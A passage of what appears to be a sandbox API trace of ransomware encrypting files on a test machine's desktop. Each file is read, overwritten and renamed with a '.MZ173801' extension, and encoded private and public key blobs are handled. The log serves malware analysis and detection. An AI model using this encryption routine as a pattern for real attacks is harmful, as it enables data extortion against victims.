lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0175.349] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x1e0c [0175.349] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0175.349] ReadFile (in: hFile=0x320, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x1e0c, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x1e0c, lpOverlapped=0x0) returned 1 [0175.350] CloseHandle (hObject=0x320) returned 1 [0175.350] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-LTq6n--dr.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\-ltq6n--dr.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0175.549] WriteFile (in: hFile=0x320, lpBuffer=0x24a2040*, nNumberOfBytesToWrite=0x1e0c, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24a2040*, lpNumberOfBytesWritten=0x19fa24*=0x1e0c, lpOverlapped=0x0) returned 1 [0175.550] CloseHandle (hObject=0x320) returned 1 [0175.551] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\-LTq6n--dr.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\-ltq6n--dr.csv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\-LTq6n--dr.csv.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\-ltq6n--dr.csv.mz173801")) returned 1 [0175.552] GetCurrentThreadId () returned 0xab4 [0175.552] GetCurrentThreadId () returned 0xab4 [0175.552] GetCurrentThreadId () returned 0xab4 [0175.552] GetCurrentThreadId () returned 0xab4 [0175.552] GetCurrentThreadId () returned 0xab4 [0175.552] GetCurrentThreadId () returned 0xab4 [0175.552] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83610510, ftCreationTime.dwHighDateTime=0x1d5ebb1, ftLastAccessTime.dwLowDateTime=0x7e634950, ftLastAccessTime.dwHighDateTime=0x1d5e3a6, ftLastWriteTime.dwLowDateTime=0x7e634950, ftLastWriteTime.dwHighDateTime=0x1d5e3a6, nFileSizeHigh=0x0, nFileSizeLow=0x180b1, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="4INyJO0f5yuE.docx", cAlternateFileName="4INYJO~1.DOC")) returned 1 [0175.552] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0175.552] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0175.552] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\4INyJO0f5yuE.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\4inyjo0f5yue.docx"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83610510, ftCreationTime.dwHighDateTime=0x1d5ebb1, ftLastAccessTime.dwLowDateTime=0x7e634950, ftLastAccessTime.dwHighDateTime=0x1d5e3a6, ftLastWriteTime.dwLowDateTime=0x7e634950, ftLastWriteTime.dwHighDateTime=0x1d5e3a6, nFileSizeHigh=0x0, nFileSizeLow=0x180b1)) returned 1 [0175.552] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\4INyJO0f5yuE.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\4inyjo0f5yue.docx")) returned 0x20 [0175.552] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\4INyJO0f5yuE.docx", dwFileAttributes=0x80) returned 1 [0175.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0175.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0175.575] GetCurrentThreadId () returned 0xab4 [0175.575] GetCurrentThreadId () returned 0xab4 [0175.575] GetCurrentThreadId () returned 0xab4 [0175.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0175.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0175.594] GetCurrentThreadId () returned 0xab4 [0175.594] GetCurrentThreadId () returned 0xab4 [0175.594] GetCurrentThreadId () returned 0xab4 [0175.594] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\4INyJO0f5yuE.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\4inyjo0f5yue.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0175.595] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0175.595] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0175.595] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x180b1 [0175.595] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0175.595] ReadFile (in: hFile=0x320, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x180b1, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x180b1, lpOverlapped=0x0) returned 1 [0175.597] CloseHandle (hObject=0x320) returned 1 [0175.599] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\4INyJO0f5yuE.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\4inyjo0f5yue.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0175.602] WriteFile (in: hFile=0x320, lpBuffer=0x24ba040*, nNumberOfBytesToWrite=0x180b1, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24ba040*, lpNumberOfBytesWritten=0x19fa24*=0x180b1, lpOverlapped=0x0) returned 1 [0175.605] CloseHandle (hObject=0x320) returned 1 [0175.605] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\4INyJO0f5yuE.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\4inyjo0f5yue.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\4INyJO0f5yuE.docx.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\4inyjo0f5yue.docx.mz173801")) returned 1 [0175.606] GetCurrentThreadId () returned 0xab4 [0175.606] GetCurrentThreadId () returned 0xab4 [0175.606] GetCurrentThreadId () returned 0xab4 [0175.606] GetCurrentThreadId () returned 0xab4 [0175.606] GetCurrentThreadId () returned 0xab4 [0175.606] GetCurrentThreadId () returned 0xab4 [0175.606] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc5f4260, ftCreationTime.dwHighDateTime=0x1d5e693, ftLastAccessTime.dwLowDateTime=0x183b76f0, ftLastAccessTime.dwHighDateTime=0x1d5e9cf, ftLastWriteTime.dwLowDateTime=0x183b76f0, ftLastWriteTime.dwHighDateTime=0x1d5e9cf, nFileSizeHigh=0x0, nFileSizeLow=0x17cd9, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="4kpRSbPC8pfSAYGf06z.mp4", cAlternateFileName="4KPRSB~1.MP4")) returned 1 [0175.606] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0175.606] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0175.606] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\4kpRSbPC8pfSAYGf06z.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\4kprsbpc8pfsaygf06z.mp4"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc5f4260, ftCreationTime.dwHighDateTime=0x1d5e693, ftLastAccessTime.dwLowDateTime=0x183b76f0, ftLastAccessTime.dwHighDateTime=0x1d5e9cf, ftLastWriteTime.dwLowDateTime=0x183b76f0, ftLastWriteTime.dwHighDateTime=0x1d5e9cf, nFileSizeHigh=0x0, nFileSizeLow=0x17cd9)) returned 1 [0175.606] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\4kpRSbPC8pfSAYGf06z.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\4kprsbpc8pfsaygf06z.mp4")) returned 0x20 [0175.606] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\4kpRSbPC8pfSAYGf06z.mp4", dwFileAttributes=0x80) returned 1 [0175.712] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 